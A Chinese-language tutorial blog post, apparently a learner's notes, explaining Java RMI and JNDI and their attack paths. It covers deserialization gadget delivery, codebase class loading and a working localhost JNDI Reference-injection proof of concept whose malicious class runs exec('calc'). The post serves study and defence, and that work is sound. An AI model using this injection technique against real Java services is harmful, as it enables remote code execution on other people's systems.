RMI JNDI浅析

RMI JNDI浅析

Gat1ta 262 2022-03-13

学习JAVA安全已经有几个月了,RMI、JNDI、LDAP这些各种各样的东西听到很多次了,本想详细的写一篇分析的文章,但是学习下来发现这方面知识太多了,能力有限很多地方分析不清楚,这次就只能先简单介绍一下了。

RMI

RMI全称是Remote Method Invocation,远程⽅法调⽤。从这个名字就可以看出,他的⽬标和RPC其实是类似的,是让某个Java虚拟机上的对象调⽤另⼀个Java虚拟机中对象上的⽅法,只不过RMI是Java独有的⼀种机制。

应用背景

在没有分布式之前,所有系统都是集中式架构的,不管多少个功能统统塞在一个服务器中,这样随着系统使用的人越来越多就会造成一个问题,单一的服务器无法承载这么大的数据量,这时候分布式架构也就应运而生。
有了分布式架构之后,我们可以把不同功能不同业务的模块进行一个拆分,甚至同一个业务的不同功能都会进行一个拆分,这样就可以让我们的系统承载力更强。
拆分了以后各个模块肯定是需要交互的,这就是RMI要解决的问题。

RMI的组成

  1. Registry:一个注册表,想要被RMI访问的对象首先要通过Registry与一个地址绑定,接下来客户端就可以通过这个地址来调用这个对象了。被注册的对象可以与Registry在一个主机上,也可以不在。
  2. Server:RMI服务端,客户端首先通过Registry找到对象的地址,也就是Server的地址,然后直接和Server交互调用对象。
  3. Cleint:RMI客户端,通过Registry获取Server地址,然后连接Server调用对象。

大概过程如图所示:
image.png

RMI运行流程

知道了RMI的组成,接下来看一下RMI的整体流程是什么样的:
image.png
第一次看到存根和骨架的时候有点懵,不太明白是什么意思,现在感觉可以用一个不太恰当的例子来表示:
把存根比作一个遥控器,骨架就是一个电视机。当一个人控制存根发送一个换台的指令后,存根会发送一个信号给骨架,骨架收到这个信号会去调用对应的方法换台,然后换台成功后返回给我们一个画面。

RMI动态加载

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

代码演示

接下来用代码来实现这一过程。
所有RMI调用过程中用到的参数和返回值对象必须继承java.io.Serializable接口,因为RMI底层对象传输是需要将对象序列化后传输的。
想要进行一次RMI调用,首先要有一个继承java.rmi.Remote的接口,想要通过RMI调用的对象必须实现该接口。服务端实现该接口并将对象用Register注册。客户端用该接口调用对应的方法。
首先定义一个接口:

public interface RmiInterface extends Remote{
    public String hello(String str) throws RemoteException;
}

然后在服务端实现这个接口并注册:

class RMIInterfaceIml extends UnicastRemoteObject implements RmiInterface{
    public RMIInterfaceIml()throws RemoteException{
        super();
    }
    public String hello(String str) throws RemoteException {
        System.out.println("hello "+str);
        return "hello "+str;
    }
}
public class server {
    public static void main(String[] args) throws Exception {

        LocateRegistry.createRegistry(1099);
        Registry reg = LocateRegistry.getRegistry();
        reg.rebind("rmi://127.0.0.1:1099/obj", new RMIInterfaceIml());
        System.out.print("服务启动成功\n");
    }
}

接下来就可以在客户端调用该接口的方法了:


public class client {
    public static void main(String[] args) throws Exception
    {
        Registry reg = LocateRegistry.getRegistry();
        RmiInterface tt = (RmiInterface)reg.lookup("rmi://127.0.0.1:1099/obj");

        tt.hello("tt");

    }
}

RMI的安全风险

通过前面的简单介绍,相信大家对RMI已经有一个简单的了解,接下来思考一下有什么攻击方式。
1.RMI Registry的默认端口通常是1099,在我们能够访问Registry的情况下,可以调用Registry.list列出所有对象引用,如果这些对象中有一些危险方法那么我们可以对其进行利用。
2.我们前面说过,RMI远程调用时会将对象序列化传输。通过上面的代码例子可以看出,方法参数是我们可以控制的,如果目标服务器环境存在一些反序列化利用链环境(比如CC链),我们可以直接传入一个CC链过去,这样服务端在反序列化对象的时候会直接执行我们的利用链。这种方式同样可以用于registry.bind或者rebind,原理同样因为反序列化传输。
3.还有就是利用RMI动态加载来加载恶意类。在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。
我们可以利用 -Djava.rmi.server.codebase=http://url:8080/ 来设置我们的codebase参数
不过显然官方也注意到了这一个安全隐患,所以只有满足如下条件的RMI服务器才能被攻击:

  1. 安装并配置了SecurityManager
  2. Java版本低于7u21、6u45,或者设置了java.rmi.server.useCodebaseOnly=false
    其中 java.rmi.server.useCodebaseOnly 是在Java 7u21、6u45的时候修改的一个默认设置:
    https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html
    https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
    官方将 java.rmi.server.useCodebaseOnly 的默认值由 false 改为了 true 。在java.rmi.server.useCodebaseOnly 配置为 true 的情况下,Java虚拟机将只信任预先配置好的codebase ,不再支持从RMI请求中获取。

参考

http://wjlshare.com/archives/1522
https://www.freebuf.com/articles/web/317622.html
https://su18.org/post/rmi-attack/
https://paper.seebug.org/1091/
https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html

总结

个人理解,关于RMI的攻击方式主要可以分为两种,一种是针对动态加载codebase的攻击方式,另外一种是针对序列化传输的攻击方式。目前感觉针对序列化攻击的方式比较常用。针对于序列化传输,不管是攻击registry还是server还是client,原理都是差不多的。
攻击registry:可以调用registry对象的.bind/rebind之类的方法,传递一个恶意的对象,服务端收到后反序列化的过程中就会触发我们的利用链。
攻击server:可以发送一个恶意的参数来攻击server端,当server端收到参数的时候也会有反序列化的操作,同样可以触发我们构造的利用链。但是攻击参数有参数类型的问题,这个问题我觉得是不是可以根据RMI使用的JRMP协议来手动发包?
攻击client:这时需要registry或者server地址可控,这时候可以将地址指向我们的VPS,然后控制我们的VPS像client返回一个恶意对象,在client接收到数据后同样会进行反序列化并触发我们的利用链。
动态加载攻击:这也就是利用codebase攻击,在满足前面说到的前提条件下,像任意端发送一个不存在的类,本地不存在会从codebase的地址下载类文件并加载,这时候把codebase设置成我们的vps可以返回一个恶意类,当我们的恶意类被加载就可以执行任意代码。
以上就是我理解的关于RMI的攻击方式,纯理论理解,如有偏差望大佬不吝指教。

JNDI

JNDI (Java Naming and Directory Interface) ,包括Naming Service和Directory Service。JNDI是Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

背景

jndi诞生的理由似乎很简单。随着分布式应用的发展,远程访问对象访问成为常用的方法。虽然说通过Socket等编程手段仍然可实现远程通信,但按照模式的理论来说,仍是有其局限性的。RMI技术,RMI-IIOP技术的产生,使远程对象的查找成为了技术焦点。JNDI技术就应运而生。JNDI技术产生后,就可方便的查找远程或是本地对象。

JNDI的优点

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。

JNDI动态协议转换

首先看一个普通的JNDI代码:
image.png
但是JNDI是能够进行动态协议转换的。
如下代码:
image.png
即使服务端提前设置了工厂与PROVIDER_URL也不要紧,如果在lookup时参数能够被攻击者控制,同样会根据攻击者提供的URL进行动态转换。

JNDI命名引用

为了在命名或目录服务中绑定Java对象,可以使用Java序列化传输对象,例如上面的例子,将一个对象绑定到了远程服务器,就是通过反序列化将对象传输过去的。但是,并非总是通过序列化去绑定对象,因为它可能太大或不合适。为了满足这些需求,JNDI定义了命名引用,以便对象可以通过绑定由命名管理器解码并解析为原始对象的一个引用间接地存储在命名或目录服务中。
引用由Reference类表示,并且由地址和有关被引用对象的类信息组成,每个地址都包含有关如何构造对象。
Reference可以使用工厂来构造对象。当使用lookup查找对象时,Reference将使用工厂提供的工厂类加载地址来加载工厂类,工厂类将构造出需要的对象。
看一下Reference的构造函数:

public Reference(String className, String factory, String factoryLocation) {
        this(className);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
    }

这个构造函数有三个参数,第一个是Reference引用的类的名称,第二个是工厂类名,第三个是获取工厂类的地址。
当JNDI使用lookup获取一个对象时,如果这个对象是Reference类或者其子类,JNDI会首先根据Reference.ClassName在本地试图寻找这个类,如果本地找不到这个类,则通过classFactoryLocation这个地址去下载一个工厂类,然后用工厂类来创建className类。
这就有点类似于上面RMI的动态加载的机制了。
下面用一小段代码来演示一下:
服务端代码:

    public static void jndi1() throws Exception{
        Hashtable config = new Hashtable();
        config.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.rmi.registry.RegistryContextFactory");
        config.put(Context.PROVIDER_URL,
                "rmi://127.0.0.1:1099");

        LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("MyClass","MyClass","http://127.0.0.1:9874/");
        //使用ReferenceWrapper包装一下Reference类,因为Reference本身没有实现Remote接口不支持远程访问
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        Context ctx = new InitialContext(config);

        ctx.bind("refObj",new JInterfaceImpl());
        ctx.bind("ref",wrapper);
    }

客户端代码:

    public static void main(String[] args)
        throws Exception{
        Hashtable config = new Hashtable();
        config.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.rmi.registry.RegistryContextFactory");
        config.put(Context.PROVIDER_URL,
                "rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(config);
        ctx.lookup("rmi://127.0.0.1:1099/ref");

    }

上面这段代码的意思就是在1099端口绑定一个Reference对象,客户端通过“rmi://127.0.0.1:1099/ref”获得这个对象的时候,会发现Reference对象,然后会尝试从本地加载Reference.ClassName类,如果没有找到,则会去Reference.classFactoryLocation去加载一个工厂类来创建ClassName类。
上面代码写完后,通过python监听本地的9874这个端口,然后运行server和client的代码,接下来会发现,python监听到一个请求:
image.png
因为本地没有MyClass这个文件,所以报404。
如果这时候我们将python坚挺的目录下放一个恶意MyClass类文件,则会被Client下载并加载,从而执行任意代码。
接下来我们来验证一下,server和client代码不用变,只要我们在python目录下放一个恶意的MyClass类就可以,代码如下:

class MyClass{
	static{
		try{
			Runtime.getRuntime().exec("calc");
		}
		catch(Exception e)
		{
			
		}
	}
}

然后javac编译一下,看到生成了MyClas.class文件后继续用python监听9874端口,然后运行在运行一次client代码:
image.png
image.png
可以看到成功弹出计算器。

JDK版本限制

从上面的利用方式可以看出,这种利用方式和RMI的动态加载中利用codebase加载任意类很像,但是JNDI注入中的Reference Payload并不受useCodebaseOnly影响,因为它没有用到 RMI Class loading,它最终是通过URLClassLoader加载的远程类。
但是在JDK 6u141, JDK 7u131, JDK 8u121 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。
不过在高版本中,可以利用本地Class作为Reference Factory这种攻击方式来绕过,详细请参考这里

参考

https://paper.seebug.org/1091/#jndi_1
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html